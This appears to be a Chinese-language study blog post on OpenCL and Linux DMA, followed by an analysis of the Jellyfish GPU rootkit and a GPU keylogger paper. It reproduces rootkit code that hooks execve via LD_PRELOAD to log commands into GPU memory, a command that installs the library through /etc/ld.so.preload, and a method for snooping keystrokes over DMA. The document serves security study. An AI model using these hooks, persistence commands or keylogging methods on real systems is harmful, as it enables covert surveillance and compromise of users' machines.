catalog

. OpenCL
. Linux DMA(Direct Memory Access)
. GPU rootkit PoC by Team Jellyfish
. GPU keylogger
. DMA Hack

1. OpenCL

OpenCL(Open Computing Language)是第一个面向异构系统通用目的并行编程的开放式、免费标准,也是一个统一的编程环境,便于软件开发人员为高性能计算服务器、桌面计算系统、手持设备编写高效轻便的代码,而且广泛适用于多核心处理器(CPU)、图形处理器(GPU)、Cell类型架构以及数字信号处理器(DSP)等其他并行处理器,在游戏、娱乐、科研、医疗等各种领域都有广阔的发展前景

0x1: OpenCL组成

. .0主要由一个并行计算API
. 一种针对此类计算的编程语言组成
. C99编程语言并行扩展子集
. 适于各种类型异构处理器的坐标数据和基于任务并行计算API
. 基于IEEE 754标准的数字条件
. 与OpenGL、OpenGL ES和其他图形类API高效互通

. OpenCL平台API
平台API定义了宿主机程序发现OpenCL设备所用的函数以及这些函数的功能,另外还定义了为 OpenCL应用创建上下文的函数 . OpenCL运行时API
这个API管理上下文来创建命令队列以及运行时发生的其他操作。例如,将命令提交到命令队列的函数就来自OpenCL运行时API。 . OpenCL编程语言
这是用来编写内核代码的编程语言。它基于ISO C99标准的一个扩展子集,因此通常称为OpenCL C编程语言

把上述单独的部分汇集起来,形成OpenCL的一个全景图

Relevant Link:

http://www.oschina.net/p/opencl/
http://baike.baidu.com/link?url=OakatzpraCPNh7EQR1QAbZMwbMXpe14IQqXAg62erf7WA3pKuUeh4AXvXOh6Gbsn3gi0qw0wS5TS-cS4ZGmE9_
http://blog.csdn.net/leonwei/article/details/8880012

2. Linux DMA(Direct Memory Access)

直接内存存取(DMA)是硬件机制允许外设组件来直接传输它们的I/O数据到和从主内存,而不需要包含系统处理器(CPU). 这种机制的使用能够很大提高吞吐量,因为大量的内存映射计算开销被削减了

0x1: DMA数据传输方式

. 软件请求数据(通过一个函数例如 read)
) 当一个进程A调用 read,驱动方法分配一个 DMA 缓冲并引导硬件来传输它的数据到那个缓冲,这个请求进程A被置为睡眠.
) 硬件写数据到这个 DMA 缓冲并且在它完成时引发一个中断
) 中断处理获得输入数据,确认中断,并且唤醒进程A,它现在可以读数据了. . 硬件异步推数据到系统
) 硬件引发一个中断来宣告新数据已经到达.
) 中断处理分配一个缓冲并且告知硬件在哪里传输数据.
) 外设写数据到缓冲并且引发另一个中断当完成时.
) 处理者分派新数据,唤醒任何相关的进程,并且负责杂务.
//异步方法的变体常常在网卡中见到. 这些卡常常期望见到一个在内存中和处理器共享的环形缓冲(常常被称为一个 DMA 的缓冲); 每个到来的报文被放置在环中下一个可用的缓冲, 并且发出一个中断. 驱动接着传递网络本文到内核其他部分并且在环中放置一个新 DMA 缓冲.

0x2: 一个简单的 PCI DMA 例子

作为一个 DMA 映射如何被使用的例子, 我们展示了一个简单的给一个 PCI 设备的 DMA 编码的例子. 在 PCI 总线上的数据的 DMA 操作的形式非常依赖被驱动的设备. 因此, 这个例子不适用于任何真实的设备; 相反, 它是一个称为 dad ( DMA Acquisiton Device) 的假想驱动的一部分. 一个给这个设备的驱动可能定义一个传送函数象这样

int dad_transfer(struct dad_dev *dev, int write, void *buffer, size_t count)
{
dma_addr_t bus_addr; /* Map the buffer for DMA */
dev->dma_dir = (write ? DMA_TO_DEVICE : DMA_FROM_DEVICE);
dev->dma_size = count;
bus_addr = dma_map_single(&dev->pci_dev->dev, buffer, count, dev->dma_dir);
dev->dma_addr = bus_addr; /* Set up the device */
writeb(dev->registers.command, DAD_CMD_DISABLEDMA);
writeb(dev->registers.command, write ? DAD_CMD_WR : DAD_CMD_RD);
writel(dev->registers.addr, cpu_to_le32(bus_addr));
writel(dev->registers.len, cpu_to_le32(count)); /* Start the operation */
writeb(dev->registers.command, DAD_CMD_ENABLEDMA);
return ;
}

Relevant Link:

http://www.linuxjournal.com/article/7104
http://www.xml.com/ldd/chapter/book/ch13.html
http://blog.csdn.net/crazyjiang/article/details/7934270

3. GPU rootkit PoC by Team Jellyfish

Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well.

GPU恶意软件的优点如下

. 目前网络上还没有分析GPU恶意软件的工具
. 可以通过DMA(直接内存存取)监听主机CPU内存
. GPU可以用于快速的数学计算
. 关闭之后恶意内存仍然存留于GPU内

这两款恶意软件的运行需要满足以下条件

. 安装了OpenCL驱动或ICDS
. Nvidia或AMD显卡(英特尔支持AMD SDK)
. 改变rootkit/kit.c文件中的第103行,将其中的服务器IP改成你想监视的GPU客户端所在机器的IP

Rootkit直接运行在GPU内存中,并将运行种结果暂存在GPU中,直到收到主控端发送的魔法字符

client listener; let buffers stay stored in gpu until you send magic packet from server

0x1: Code Analysis

代码使用了LD_PRELOAD技术,这是一种Glibc API劫持技术,通过设置LD_PRELOAD,rootkit程序可以在用户态劫持应用程序指定的标准C库调用

关于LD_PRELOAD劫持技术的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
//搜索:0x1: LD_PRELOAD动态连接.so函数劫持

在劫持Hook Func代码中,程序调用了OpenCL相关的API,我们以execve api劫持为例学习

int execve(const char *filename, const char **argv, const char **envp)
{
jelly_init();
jelly->dev = create_device();
jelly->ctx = create_ctx(&jelly->dev);
jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); strcpy(buffer, "executed filename: ");
strcat(buffer, filename); limit_buf(buffer);
log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); if(err < )
{
// buffer failed
}
// device command queue
jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, , &err);
if(err < )
{
// queue failed
} // gpu kernel thread
jelly->kernels[] = clCreateKernel(jelly->program, log_execve, &err);
if(err < )
{
// gpu kernel failed
}
// gpu kernel args
err = clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &log);
err |= clSetkernelArg(jelly->kernels[], , sizeof(cl_mem), &output);
if(err < )
{
// args failed
}
// host-device comm
err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[], , NULL, &global_size, &local_size, , NULL, NULL);
if(err < )
{
// enqueue failed
} // buffer is now inside gpu
/*
if(server == connected)
{
dump gpu data
free buffer
}
else
{
do not free buffer
continue
}
*/
// release gpu memory then start over when syscall is called again
clReleaseContext(jelly->ctx);
clReleaseProgram(jelly->program);
clReleaseMemObject(log);
clReleaseMemObject(output);
clReleaseCommandQueue(jelly->cq);
clReleaseKernel(jelly->kernels[]);
return syscall[SYS_EXECVE].syscall_func(filename, argv, envp);
}

void jelly_init()

void jelly_init()
{
int i;
for(i = ; i < SYSCALL_SIZE; i++)
{
jelly->dev = create_device();
jelly->ctx = create_ctx(&jelly->dev);
jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__); strcpy(buffer, syscall_table[i]);
/* stick it in the xor blender! */
input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err);
group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err);
if(err < )
{
// buffer failed
}
// device command queue
jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, , &err);
if(err < )
{
// queue failed
}
// gpu kernel thread
jelly->kernels[] = clCreateKernel(jelly->program, jelly_xor, &err);
if(err < )
{
// gpu kernel failed
}
// gpu kernel args
err = clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &input);
err |= clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &local);
err |= clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &group);
if(err < )
{
// args failed
}
// host-device comm
err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[], , NULL, &global_xor_size, &local_xor_size, , NULL, NULL);
if(err < )
{
// enqueue failed
}
// read buf from gpu
err = clEnqueueReadBuffer(jelly->cq, output, CL_TRUE, , sizeof(buffer3), buffer3, , NULL, NULL);
if(err < )
{
// read buffer failed
}
else
{
// xor'ed syscall example directly from gpu
syscall[i].syscall_func = dlsym(RTLD_NEXT, buffer3);
buffer3 = "";
buffer2 = "";
buffer = "";
}
clReleaseContext(jelly->ctx);
clReleaseProgram(jelly->program);
clReleaseMemObject(input);
clReleaseMemObject(local);
clReleaseMemObject(group);
clReleaseCommandQueue(jelly->cq);
clReleaseKernel(jelly->kernels[]);
}
}

通过这种方式,rootkit代码可以运行在GPU内存中,以此达到较高的隐蔽性

0x2: Rootkit注入方式

. rootkit代码被编译为.so文件
. 设置LD_PRELOAD配置: echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload
. 用户态的所有使用到glibc标准库的进程都会载入rootkit so,从而运行GPU内存态的rootkit程序

Relevant Link:

http://www.freebuf.com/news/66803.html
https://github.com/x0r1/jellyfish

4. GPU keylogger

0x1: proof of concept

The key idea behind our approach is to monitor the system’s keyboard buffer directly from the GPU via DMA, without any hooks or modifications in the kernel’s code and data structures besides the page table
GPU-based keylogger can effectively record all user keystrokes, store them in the memory space of the GPU, and even analyze the recorded data in-place, with negligible runtime overhead

0x2: INTRODUCTION

Keyloggers can be implemented as

. tiny hardware devices
. or more conveniently, in software
Software keyloggers can be implemented either at
) the user level: User-level keyloggers generally use high-level APIs to monitor keystrokes
) kernel level: kernel level keyloggers run inside the OS kernel and record all data originating from the keyboard.
Typically, a kernel level keylogger hooks specific system calls or driver functions. The injected malicious code is programmed to capture all user keystrokes passed through the hooked function call

Although kernel-level keyloggers are more sophisticated and stealthy than user-level keyloggers, they heavily rely on kernel code modifications, and thus can be detected by kernel integrity and code attestation tools
By instructing the GPU to carefully monitor via DMA the physical page where the keyboard buffer resides, a GPU-based keylogger can record all user keystrokes and store them in the memory space of the GPU

0x3: GPU-BASED KEYLOGGING

Instead of relying on rootkit-like techniques, such as hooking system functions and manipulating critical data structures, our keylogger monitors the contents of the system’s keyboard buffer directly from the GPU

. One of the primary challenges of this design is how to locate the memory address of the keyboard buffer
. the keyboard buffer is not exported in the kernel’s symbol table, making it not accessible directly by loadable modules
. the memory space allocated for data structures is different after every system boot or after unplugging and plugging back in the device. Typically, loadable modules
allocate memory dynamically, hence object addresses are not necessarily the same after a system reboot
. the OS can apply certain randomization algorithms to hinder an attacker that tries to predict an object’s address.
To overcome the randomized placement of the keyboard buffer, the attacker has to scan the whole memory. As a consequence, our GPU-based keystroke logger consists of
two main components:
) a CPU-based component that is executed once, at the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory,
) a GPU-based component that monitors, via DMA, the keyboard buffer and records all keystroke events.

the picture below displays the bootstrapping (gray) and monitoring (black) components of the system, along with the sequence of their interactions.

aaarticlea/png;base64,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